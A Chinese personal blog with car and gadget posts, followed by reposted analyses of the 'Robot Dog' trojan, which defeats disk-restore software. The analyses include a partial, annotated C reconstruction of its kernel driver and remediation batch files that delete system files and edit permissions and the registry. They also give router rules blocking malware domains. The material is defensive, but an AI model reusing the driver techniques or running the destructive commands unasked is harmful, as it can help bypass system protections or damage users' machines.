2009年4月25日星期六

挫车问题的思考

手动档容易发生挫车,可以通过这样的方法解决:

1、快速踩下离合,切换档位,松离合时给油。要点在于油离配合要好。一般挫车较多发生在低速档,1,2,3档位,4档就不那么明显了。这样操作,可能会稍微损耗离合器片,但会保护发动机和车子的相互制动作用。

也可以在踩下离合,换档,此时加油,再松离合,停,半联动,完成换档。给油时轻点一下,提高转档到2000以上就可以了,没必要太高。

时速40以上时,尽量升到4档。不可长时间超过45。

2、离合使用,是快-停-慢的步骤

3、还有什么地方需要注意呢?

2009年4月23日星期四

2009年4月19日星期日

实用的国产车

少见的春雨,下了一天一夜,还没停歇的意思,有时哗哗地起劲地下着,一阵瀑雨,有时又不紧不急,敲在窗子上啪啪作响。

几个朋友问起来,开的啥车呀?我就开玩笑地说,奥迪A4L很接近啊。虽然是国产里面最好的,但还是有些羞愧,感觉没有达到足够的成功。有钱的成功人士,倒也不见的全开好车,我知道的几个千万级别的,开的只是几万块的捷达,但却绝对没有开国产的。国产意谓着啥呢?意谓着假劣伪冒,意谓着最便宜和最不靠谱。看到人家的神情,感觉象是,噢,开国产车呀,象是农村里发了点儿财,在门牙上贴了几个金光闪闪的金牙一般。

其实,抱着实用的精神,选择国产也没有坏处。一样地开,各方面,性能、舒适度,安全性,也差不多,甚至看一些车祸照片,安全性比价格更高的车,更是好上很多。车子就是个代步工具,周围的人,却花了更多的钱,去买那些一直用不到的功能,只是为了外表好看,满足自己的意淫。其实,现在的车子,就和若干年前的大哥大一样,早就失去了可以显摆的资本。任何有资格成为房奴的家庭,省出半个厕所
的钱,就能买个车了。再说,用手机、汽车或其它物质化的东西,去提高自己的身份,本身就是件多么幼稚可笑的事啊。
国产车有些小毛病,开不了多长时间,就成了修车师傅,成了汽车hacker。这并不是说反语,有点儿小毛病,是了解汽车的一个很好的途径,通过自己动手解决这些问题的过程,感觉很多乐趣,也学到了许多东西,让日子过的很充实。就象去了解病毒,了解网络攻击和防护,了解自我进化的程序,了解信息与现实的互动,了解眼前这个小小的东西,背后隐藏的力量,这一切都让人着迷,构成了生活最精彩的部分。

再者,现在的国际经济形势不好,可能形势会更加严峻,为什么不去多多支持中国的企业呢?
选择国产车,咱不后悔。

2009年4月13日星期一

安全驾驶的若干个习惯

开车是为了到达!
多开几年后你的车速会降下来。
超过别的车,不代表你的车比人家的好。
超过同级或高级车,不代表你的技术比别人高。
第一个从绿灯下蹿出去,不代表在下一个路口你可以不排队。
飙车和高速狂奔,不代表胆识过人。
遇拥堵时,老老实实排队不代表你比别人傻。
不断刷新自己速度记录的想法和做法是不明智的,控制车速是摆脱危险的最佳手段。
安全行车时间是最值得你骄傲和炫耀的。
很多事故本可避免,在于主动放弃了快速反应的时间;
尽量了解你的车,知道车不能干什么,你为难它,它就会难为你。
别把车的做主权交给修理厂,换不换零件你说了算。
自己动手是一种乐趣,自己紧的螺丝心里最踏实。
别过于依赖4S店,有些毛病他们也查不出来。
尽量少使用喇叭和大灯。
停车入位时把车头对着可以直接离开的方向。
停车妨碍了别人,车是会被划的。
永远不要以为你可以一脚刹车把车"定"住。
可能的话,带上想搭车的人。
不准备出远门别把油箱加满。
保持车辆内外清洁和车内通风,不要让车内外温差太大。
最好别在晚上洗车。
过积水路面慢点开,别溅着其他人。
遇到故障车,即使搭不上手也安慰一句。
遇着老人孩子和行动不便的人,示意他们先过,要微笑。
备胎要有气。
背影看上去不错的美女帅哥,驶过别回头看。
车里的音乐自己听到就行。
下车时带走你的包。
车里放本有意思的书,堵车时它比咒骂管用。
系安全带要成为习惯。

2009年4月5日星期日

废物利用的手机电池

逛街回来,晚饭前找出一些不用的手机电池,好多块啊,一直放在柜子里的各个角落,把一些改造一下,放到收音机里,估计充一次电,可以用几个月了。另外也可以放在自己制作的LED灯里面,充一次灯,怎么着也得用一周吧。

为什么会用这么长时间呢?因为我有一块2001年买的pda,当时一冲动把原装电池拆了,换了一块淘汰的手机电池,现在充一次电,基本可以用几个月,说实话,从春节前那次充电,到现在还有60%的电量,也不用计算到底可以用多长时间了。总之,很爽就是了

我设计的办公家具

晚上查资料,累的腰酸背痛。怎么没有那种理想的家具呢?

坐在书桌前,有个特点,就是不能改变姿势,基本上一直这样,呆上一段时间就累坏了。

今天陪老婆逛街时,心里一直在想这事,应该有这样一种家俱。

可以自由调节高度,笔记本电脑放在上面,使用时,人可以蹲着用,盘腿而坐用,跪着用,躺着用,站着用,这样多种姿势经常变一变,就不那么容易累了。

在笔记本上面画了若干草画,实现其实挺简单的,不会比现在的那种办公家俱贵多少,而且还可以躺在床上用,非常方便啊,最上面再安上一个前些天做的LED灯,轻便又省电,以后自己的办公室里,一定用这种家具,让每个人办公时比较自由,有更多自己的空间,并且也有更多的公共空间,多好啊。现在的办公家俱,做的真是太没有想像力。

2009年4月3日星期五

最强大最便宜的后备电源

http://www.it.com.cn/f/notebook/064/3/253215.htm
http://blog.chinaunix.net/u/29311/showart_243501.html

有意思的东东

虽然现在用不上,不过,可以尝试着把车载电源改造一下,用笔记本这么大的屏幕,作为GPS和音乐播放,常备工具一类的,总之,放在车里,会非常有用的。

机器狗病毒分析

报告名称:新版"机器狗"病毒详细分析资料(全部资料的一少部分)
报告类型:病毒原理逆向反汇编分析播报
编写作者:Coderui
编写日期:2008年01月15日
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
------------------------------------------------------------------------
对比"机器狗"一类新、老版本病毒的特征:

1:新版本"机器狗"病毒采用VC++ 6.0编写,老版本"机器狗"病毒采用汇编编写。
2:新版本"机器狗"病毒采用UPX加壳,老版本"机器狗"病毒采用未知壳。
3:新版本"机器狗"病毒驱动文件很小(1,536 字节),老版本"机器狗"病毒驱动文件很大(6,768 字节)。
4:新版本"机器狗"病毒安装驱动后没有执行卸载删除操作,老版本"机器狗"病毒安装驱动工作完毕后会卸载删除。
5:新版本"机器狗"病毒针对的是系统"conime.exe"、"ctfmon.exe"和"explorer.exe"程序文件,老版本"机器狗"病毒只针对系统"userinit.exe"文件。
6:新版本"机器狗"病毒没有对注册表进行操作,老版本"机器狗"病毒有对注册表"HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Windows
NT\CurrentVersion\Winlogon"项进行操作(感觉该操作没必要,因为重新启动系统后,"还原保护程序"系统会将其还原掉)。
7:新版本"机器狗"病毒去到系统dllcache文件夹下调用真实系统文件运行,老版本"机器狗"病毒没有到系统dllcache文件夹下调用真实系统文件运行。
8:新版本"机器狗"病毒采用的是控制台程序图标,老版本"机器狗"病毒采用的是黑色机器小狗图案的图标。

大概列举出来了上边的几点,经过仔细分析它们的工作原理和编码风格后,可以推测出新版本"机器狗"病毒和老版本"机器狗"病毒决定不是出自一个人之手。
------------------------------------------------------------------------
错误纠正:

在此要纠正两个技术性的问题,网络上流传的一些关于分析"机器狗"病毒(新、老版本)的部分文章中,有两处表达错误的地方。

第一处是:在那些分析文章中所提到"'机器狗'病毒会破坏'还原保护程序'系统,使其还原功能失效"。其实,从概念的理解上来讲述,那些表达都是错误的,是让人理解不清晰的,会严重误导读者。正确的表述应该是这样的:"'机器狗'病毒并没有破坏'还原保护程序'系统,也没有使其还原功能失效。只是安装了一个病毒自己的磁盘过滤驱动去操作真实的磁盘I/O端口,向真实的磁盘中执行修改覆盖"C:\windows\explorer.exe"目标文件(文件名是病毒作者定义的,不固定、会变。但肯定的是,真实磁盘中是存在该文件的。并且病毒运行后,一般只会修改覆盖一个真实磁盘中的系统文件,再不会去破坏其它真实磁盘中的文件)操作。虽然'机器狗'病毒运行后下载了很多其它恶意程序并安装运行,但重新启动计算机后,这些都会被'还原保护程序'系统还原掉的,只是唯一那个被修改覆盖的真实磁盘文件没有被还原。如果发现重新启动计算机后,系统中依然有一大堆病毒在运行。其实,这些都是系统重新启动后,由那个被修改覆盖后的系统程序全部重新下载回来并安装运行的恶意程序。也就是说,每次重新启动计算机,都要重新下载安装一次所有的其它恶意程序"。

第二处是:在那些分析文章中所提到"'机器狗'病毒会替换系统中的正常程序'conime.exe'、'ctfmon.exe'、'explorer.exe'
或'userinit.exe'"或"'机器狗'病毒会感染系统中的正常程序'conime.exe'、'ctfmon.exe'、
'explorer.exe'或'userinit.exe'"。其实,从概念的理解上来讲述,那些表达都是错误的,是让人理解不清晰的,会严重误导读者。正确的表述应该是这样的:"'机器狗'病毒并不是替换了系统中的那些正常文件,而是针对那些正常文件在硬盘中所存放的真实物理地址进行以覆盖的方式去写入相应的恶意数据。大家可以找来正常的系统文件'explorer.exe'、被病毒修改覆盖后的系统文件'explorer.exe'和病毒释放出来的恶意程序'tmp281.tmp'。对比它们内部数据代码后会发现,被病毒修改后的系统文件'explorer.exe'的前部分数据代码和"病毒释放出来的恶意程序'tmp281.tmp'文件的数据代码是完全相同的,而后边的数据代码依然是正常系统文件'explorer.exe'后边的数据代码。"。

简单的概念解释:
替换:把原目标程序的数据代码全部清除掉,用新程序的数据代码来代替以前的整个程序。这样,替换后的程序只有新程序的功能。
感染:在不破坏原目标程序数据代码的前提下,向原目标程序的数据代码中追加上新程序的数据代码。这样,感染后的程序既有原目标程序的功能,又有新程序的功能。
覆盖:从原目标程序数据代码的文件头0地址处开始,向后依次执行覆盖写入新程序的数据代码操作,我们这里只假设原目标程序文件远远大于新程序。这样,覆盖后的程序只执行新程序的功能,虽然原目标程序的数据代码还存在一部分,但由于没有被调用,所以不会执行。
------------------------------------------------------------------------
总结:
上边所指的"还原保护程序"为利用磁盘过滤驱动技术编写而成的系统还原保护程序,出名一点的软件有"冰点还原精灵"和"影子系统"等。也就是说,就算用户计算机安装了上边这样的"还原保护程序",只要是中了"机器狗"一类利用穿"还原保护程序"技术的病毒,就算您重新启动计算机了,但被修改的那个文件
"explorer.exe"也是依然不会被还原的,因为病毒的恶意代码已经覆盖进了这个真实的磁盘文件中。

目前的"机器狗"一类利用穿"还原保护程序"技术的病毒有一个致命的软肋,那就是他们所覆盖的真实系统文件在重新启动计算机后一定要自启动运行,不然就失去病毒存在的意义了。现今的"机器狗"病毒都只是能够穿透磁盘保护的,并穿透不了注册表(无法在注册表中保存添加或修改后的数据信息),这个就是它最大的缺陷。其实,注册表数据信息也是以文件的形式保存在磁盘中的,下一代"机器狗"病毒可能会实现穿透注册表的功能,等那个时候,可能就很难防范了。这还是不算什么的,下下一代的"机器狗"病毒可能会利用自己的磁盘过滤驱动去感染真实硬盘下的PE文件,相当的恐怖啊!!

一旦感染了该版本的"机器狗"病毒,它不仅仅可以穿透"还原保护程序",真实系统也一样会中毒。因为病毒修改覆盖了真实的系统文件"C:\windows
\explorer.exe"。所以每次重新启动计算机后,被修改覆盖的系统程序"C:\windows\explorer.exe"它都会在被感染计算机的后台连接网络下载骇客事先定义好的下载列表中的全部恶意程序并自动调用运行。那么如果中该病毒的用户比较多,几万台计算机同时启动,骇客的下载服务器会挂掉吗?呵呵~!!
------------------------------------------------------------------------
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

问提:1、这个最新的机器狗变种,是否与你12月19日发的病毒播报中的机器狗变种是同一个病毒?
回答:不是同一个病毒,只是工作原理十分的相似而已。经过仔细分析它们的工作原理和编码风格后,可以推测出新版本"机器狗"病毒和老版本"机器狗"病毒决定不是出自一个人之手。

问提:2、这个最新的机器狗变种是否功能更强大?强大在那儿?与以往机器狗病毒的不同之处在哪?
回答:应该是相对的强大了些。对比"机器狗"一类新、老版本病毒的部分特征如下:
(1):新版本"机器狗"病毒采用VC++ 6.0编写,老版本"机器狗"病毒采用汇编编写。
(2):新版本"机器狗"病毒采用UPX加壳,老版本"机器狗"病毒采用未知壳。
(3):新版本"机器狗"病毒驱动文件很小(1,536 字节),老版本"机器狗"病毒驱动文件很大(6,768 字节)。
(4):新版本"机器狗"病毒安装驱动后没有执行卸载删除操作,老版本"机器狗"病毒安装驱动工作完毕后会卸载删除。
(5):新版本"机器狗"病毒针对的是系统"conime.exe"、"ctfmon.exe"和"explorer.exe"程序文件,老版本"机器狗"病毒只针对系统"userinit.exe"文件。
(6):新版本"机器狗"病毒没有对注册表进行操作,老版本"机器狗"病毒有对注册表"HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Windows
NT\CurrentVersion\Winlogon"项进行操作(感觉该操作没必要,因为重新启动系统后,"还原保护程序"系统会将其还原掉)。
(7):新版本"机器狗"病毒去到系统dllcache文件夹下调用真实系统文件运行,老版本"机器狗"病毒没有到系统dllcache文件夹下调用真实系统文件运行。
(8):新版本"机器狗"病毒采用的是控制台程序图标,老版本"机器狗"病毒采用的是黑色机器小狗图案的图标。

问提:3、机器狗病毒对网吧的影响很大,对个人用户的影响有多少?
回答:个人用户的影响与网吧的影响是同样大的。因为不管计算机系统是否安装"还原保护系统"程序,都会同样下载非常多的(目前是下载27个恶意程序)网络游戏盗号木马等恶意程序进行安装运行,从而给被感染计算机用户带去一定的损失。如果"用户计算机硬件配置比较低"或者"存在所下载的多个恶意程序中出现相互不兼容现象"的话,会导致用户计算机系统崩溃掉无法启动运行。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

手动杀毒方法:

1:结束掉被病毒修改覆盖后的"C:\windows\explorer.exe"程序进程,删除该程序文件。
2:也许系统会自动还原回来一个正常的"explorer.exe"桌面程序,如果没有还原的话,我们可以手动把"C:\windows\system32\dllcache\"下的"explorer.exe"文件拷贝到"C:\windows\"下。
3:手动卸载掉病毒恶意驱动程序"phy.sys"文件。可以在注册表中找到病毒恶意驱动程序"phy.sys"的启动关联位置然后删除,接着再删除掉"C:
\windows\system32\DRIVERS\phy.sys"文件。 我实际试过N次这种方法,针对该病毒决定好使。
4:重新启动计算机后,一切就都会变为正常了。但是该新版的"机器狗"病毒会下载27个(不固定)恶意程序到被感染计算机中安装运行,这些病毒可以安装江民公司的KV2008去查杀,效果很不错

/*
标 题: 【原创】"机器狗"病毒驱动部分逆向分析注释(C代码)
作 者: dream2fly(QQ:838468959)
时 间: 2008.03.13 于深圳科技园
链 接; http://www.dream2fly.net
版 本: 1.0

【软件名称】: 机器狗(病毒)
【下载地址】: http://www.dream2fly.net 或 自己搜索下载
【加壳方式】: 未知壳
【编写语言】: MASM
【使用工具】: IDA
【操作平台】: win2003
【软件介绍】: 穿透冰点型带驱动病毒
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

*/

#include <ntddk.h> // various NT definitions

#define IOCTL_MYDEV_BASE 0xF000
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01,
METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DR0_DEVICE_NAME "\\Device\\Harddisk0\\DR0"
#define NT_DEVICE_NAME "\\Device\\PhysicalHardDisk0"
#define DOS_DEVICE_NAME "\\DosDevices\\PhysicalHardDisk0"

PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID* g_ResData;
SIZE_T g_ResDataSize;

typedef struct _idtr
{
//定义中断描述符表的限制,长度两字节;
short IDTLimit;
//定义中断描述服表的基址,长度四字节;
unsigned int IDTBase;
}IDTR,*PIDTR;

typedef struct _idtentry
{
//中断执行代码偏移量的底16位;
unsigned short OffsetLow;
//选择器,也就是寄存器;
unsigned short Selector;
//保留位,始终为零;
unsigned char Reserved;
//IDT中的门的类型:包括中断门,陷阱门和任务门;
unsigned char Type:4;
//段标识位;
unsigned char SegmentFlag:1;
//中断门的权限等级,0表示内核级,3表示用户级;
unsigned char DPL:2;
//呈现标志位;
unsigned char Present:1;
//中断执行代码偏移量的高16位;
unsigned short OffsetHigh;
}IDTENTRY,*PIDTENTRY;

#define HOOKINTID_09 9 //NPX Segment Overrun
#define HOOKINTID_0E 0x0E //Page Fault

VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址
{
int INT_09_Address_High8;
int INT_0E_Address_High8;
unsigned long OldISR_09;
unsigned long OldISR_0E;

//保存IDT入口的基地址和限制信息的数据结构;
IDTR idtr;//store interrupt descript table register. to idtr

//记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
PIDTENTRY IdtEntry;

//汇编指令sidt,获取IDT入口信息;
__asm sidt idtr

//赋予IDT基地址值;
IdtEntry = (PIDTENTRY)idtr.IDTBase;

//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用
OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) |
(IdtEntry[HOOKINTID_09].OffsetLow);

INT_09_Address_High8 = OldISR_09&0x0FF000000;

/*
这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了???
有知道的大侠告诉我dream2fly(QQ:838468959)
sub eax, eax
jz short FunctionExit
难道是?
if (INT_09_Address_High8 == 0)
return;
*/

//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;
OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) |
(IdtEntry[HOOKINTID_0E].OffsetLow);

INT_0E_Address_High8 = OldISR_0E&0x0FF000000;

if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
{
//关中断
__asm cli

IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd?

//开中断
__asm sti
}
}

/*
通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
*/
VOID* SearchSelf()
{
VOID* pSelfImage = NULL;
VOID* pCurAddr = NULL;
VOID* pTmpAddr = NULL;

// loc_40045F:这个取当前地址用C怎么写?
//028 lea ebx, loc_40045F
//028 and ebx, 0FFFFFC00h

//pSelfImage如何取?

while(MmIsAddressValid(pSelfImage))
{
if ((unsigned long)pSelfImage <= 0x80000000)
return NULL;

if (RtlEqualMemory(pSelfImage, "MZ", 2))
{
pCurAddr = pSelfImage;
pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
(unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);

if (!MmIsAddressValid(pCurAddr))
return NULL;

if (RtlEqualMemory(pCurAddr, "PE", 2))
return pSelfImage;
}

(unsigned long)pSelfImage -= 0x400;//-1024K
}

return NULL;
}

SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int
id2, CHAR* pResDatas)
{
// 有空再补上:)

return 0;
}
//
// Device driver routine declarations.
//

NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
);

NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
);

VOID
Unload(
IN PDRIVER_OBJECT DriverObject
);

NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus;
CHAR* pResData = NULL;
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
UNICODE_STRING DeviceName;
VOID* pSelfImage;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;

CheckIdt();

pSelfImage = SearchSelf();
if (pSelfImage == NULL)
return -1;

g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
if (g_ResDataSize == 0)
{
return -1;
}

g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
// 跳转到下条指令,延时 jmp short $+2

RtlCopyMemory(g_ResData, pResData, g_ResDataSize);

DriverObject->DriverUnload = Unload;
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;

// 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);

RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

ntStatus = IoCreateDevice(
DriverObject, // Our Driver Object
0, // We don't use a device extension
&DeviceName,
FILE_DEVICE_NULL, // Device type
0, // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧?
FALSE, // Not an exclusive device
&DeviceObject ); // Returned ptr to Device Object

if ( !NT_SUCCESS( ntStatus ) )
{
goto End;
}

ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );

if ( !NT_SUCCESS( ntStatus ) )
{
cur_device_object = DriverObject->DeviceObject;

while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}

End:
RtlFreeUnicodeString(&DeviceName);
RtlFreeUnicodeString(&SymbolicLinkName);

return STATUS_SUCCESS;
}

VOID
Unload(
IN PDRIVER_OBJECT DriverObject
)
{
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;

if (g_ResData)
{
ExFreePool(g_ResData);
}

if (DriverObject)
{
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

IoDeleteSymbolicLink(&SymbolicLinkName);
RtlFreeUnicodeString(&SymbolicLinkName);

cur_device_object = DriverObject->DeviceObject;

while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}
}

NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object
PFILE_OBJECT DRO_FileObject;
ANSI_STRING SourceString;
UNICODE_STRING DRO_DeviceName;

PIO_STACK_LOCATION irpSp;// Pointer to current stack location
NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
ULONG inBufLength; // Input buffer length
ULONG outBufLength; // Output buffer length

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;

irpSp = IoGetCurrentIrpStackLocation( Irp );
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

if(!inBufLength || !outBufLength)
{
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}

switch ( irpSp->MajorFunction )
{
case IRP_MJ_CREATE:
RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);

IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject,
&DRO_DeviceObject);
g_DR0_DeviceObject = DRO_FileObject->DeviceObject;

//保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加
if (DRO_FileObject->DeviceObject->AttachedDevice)
{
g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
DRO_FileObject->DeviceObject->AttachedDevice= NULL;
}

ObDereferenceObject(DRO_FileObject);

RtlFreeUnicodeString(&DRO_DeviceName);

break;
case IRP_MJ_CLOSE:
if (g_DR0_DeviceObject)
{
if (g_OldAttachedDeviceOfDR0)
{
g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
}
}

break;
case IRP_MJ_DEVICE_CONTROL:
if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
{
if (outBufLength < g_ResDataSize)
goto End;

// 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略
// 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
// 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??
RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);

Irp->IoStatus.Information = g_ResDataSize;
}
else
{
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
}

break;

default:

//
// The specified I/O control code is unrecognized by this driver.
//

ntStatus = STATUS_INVALID_DEVICE_REQUEST;
break;
}

End:
//
// Finish the I/O operation by simply completing the packet and returning
// the same status as in the packet itself.
//

Irp->IoStatus.Status = ntStatus;

IoCompleteRequest( Irp, IO_NO_INCREMENT );

return ntStatus;
}

机器狗的生前身后,曾经有很多人说有穿透还原卡、冰点的病毒,但是在各个论坛都没有样本证据,直到2007年8月29日终于有人在社区里贴出了一个样本。这个病毒没有名字,图标是SONY的机器狗阿宝,就像前辈熊猫烧香一样,大家给它起了个名字叫机器狗。
工作原理
机器狗本身会释放出一个pcihdd.sys到drivers目录,pcihdd.sys是一个底层硬盘驱动,提高自己的优先级接替还原卡或冰点的硬盘驱动,然后访问指定的网址,这些网址只要连接就会自动下载大量的病毒与恶意插件。然后修改接管启动管理器,最可怕的是,会通过内部网络传播,一台中招,能引发整个网络的电脑全部自动重启。
重点是,一个病毒,如果以hook方式入侵系统,接替硬盘驱动的方式效率太低了,而且毁坏还原的方式这也不是最好的,还有就是这种技术应用范围非常小,只有还原技术厂商范围内有传播,在这方面国际上也只有中国在用,所以,很可能就是行业内杠。
对于网吧而言,机器狗就是剑指网吧而来,针对所有的还原产品设计,可预见其破坏力很快会超过熊猫烧香。好在现在很多免疫补丁都以出现,发稿之日起,各大杀毒软件都以能查杀。
免疫补丁之争
现在的免疫补丁之数是疫苗形式,以无害的样本复制到drivers下,欺骗病毒以为本身以运行,起到阻止危害的目的。这种形式的问题是,有些用户为了自身安全会在机器上运行一些查毒程序(比如QQ医生之类)。这样疫苗就会被误认为是病毒,又要废很多口舌。
解决之道
最新的解决方案是将system32/drivers目录单独分配给一个用户,而不赋予administror修改的权限。虽然这样能解决,但以后安装驱动就是一件头疼的事了。
来彻底清除该病毒,处理后重启一下电脑就可以了,之前要打上补丁!
或者这样:
1注册表,组策略中禁止运行userinit.exe 进程
2 在启动项目中加入批处理
A : 强制结束userinit.exe进程 Taskkill /f /IM userinit.exe
(其中"/IM"参数后面为进程的图像名,这命令只对XP用户有效)
B : 强制删除userinit.exe文件 DEL /F /A /Q %SystemRoot%\system32\userinit.exe
C : 创建userinit.exe免疫文件到%SystemRoot%\system32\
命令:md %SystemRoot%\system32\userinit.exe >nul 2>nul
或者 md %SystemRoot%\system32\userinit.exe
attrib +s +r +h +a %SystemRoot%\system32\userinit.exe
D : reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\userinit.exe" /v debugger /t reg_sz /d
debugfile.exe /f
userinit1.exe是正常文件改了名字,多加了一个1,你也可以自己修改,不过要手动修改这4个注册表,并导出,这个批处理才能正常使用。
最新动向
好像机器狗的开发以停止了,从样本放出到现在也没有新的版本被发现,这到让我们非常担心,因为虽着研究的深入,现在防御的手段都是针对病毒工作原理的,一但机器狗开始更新,稍加改变工作原理就能大面积逃脱普遍的防御手段,看来机器狗的爆发只是在等待,而不是大家可以高枕了。
目前网上流传一种叫做机器狗的病毒,此病毒采用hook系统的磁盘设备栈来达到穿透目的的,危害极大,可穿透目前技术条件下的任何软件硬件还原!基本无法靠还原抵挡。目前已知的所有还原产品,都无法防止这种病毒的穿透感染和传播。
机器狗是一个木马下载器,感染后会自动从网络上下载木马、病毒,危及用户帐号的安全。
机器狗运行后会释放一个名为PCIHDD.SYS的驱动文件,与原系统中还原软件驱动进行硬盘控制权的争夺,并通过替换userinit.exe文件,实现开机启动。
>> 那么如何识别是否已中毒呢?
是否中了机器狗的关键就在 Userinit.exe 文件,该文件在系统目录的 system32
文件夹中,点击右键查看属性,如果在属性窗口中看不到该文件的版本标签的话,说明已经中了机器狗。如果有版本标签则正常。
临时解决办法:
一是在路由上封IP:
ROS脚本,要的自己加上去
/ ip firewall filter
add chain=forward content=yu.8s7.net action=reject comment="DF6.0"
add chain=forward content=www.tomwg.com action=reject
二是在c:\windows\system32\drivers下建立免疫文件: pcihdd.sys ,
三是把他要修改的文件在做母盘的时候,就加壳并替换。
在%systemroot%\system32\drivers\目录下 建立个 明字 为 pcihdd.sys 的文件夹 设置属性为 任何人禁止
批处理
md %systemroot%\system32\drivers\pcihdd.sys
cacls %systemroot%\system32\drivers\pcihdd.sys /e /p everyone:n
cacls %systemroot%\system32\userinit.exe /e /p everyone:r
exit
目前,网络流行以下解决方法,或者可以在紧急情况下救急:
1、首先在系统system32下复制个无毒的userinit.exe,文件名为FUCKIGM.exe(文件名可以任意取),这就是下面批处理要指向执行的文件!也就是开机启动userinit.exe的替代品!而原来的userinit.exe保留!其实多复制份的目的只是为了多重保险!可能对防止以后变种起到一定的作用。
2、创建个文件名为userinit.bat的批处理(文件名也可任意取,但要和下面说到的注册表键值保持一致即可),内容如下:
start FUCKIGM.exe (呵呵,够简单吧?)
3、修改注册表键值,将userinit.exe改为userinit.bat。内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="C:\\WINDOWS\\system32\\userinit.bat,"
就这3步,让这条狗再也凶不起来!这是在windows
2003测试的,双击机器狗后,没什么反应,对比批处理也是正常,即这狗根本没改动它!开关机游戏均无异常!但唯一美中不足的是,采用经典模式开机的启动时会出现个一闪而过的黑框!
如果嫌麻烦,也不要紧。上面三条批处理网友已搞好了,直接复制下面的这个存为批处理执行就OK了。三步合二为一
@echo off
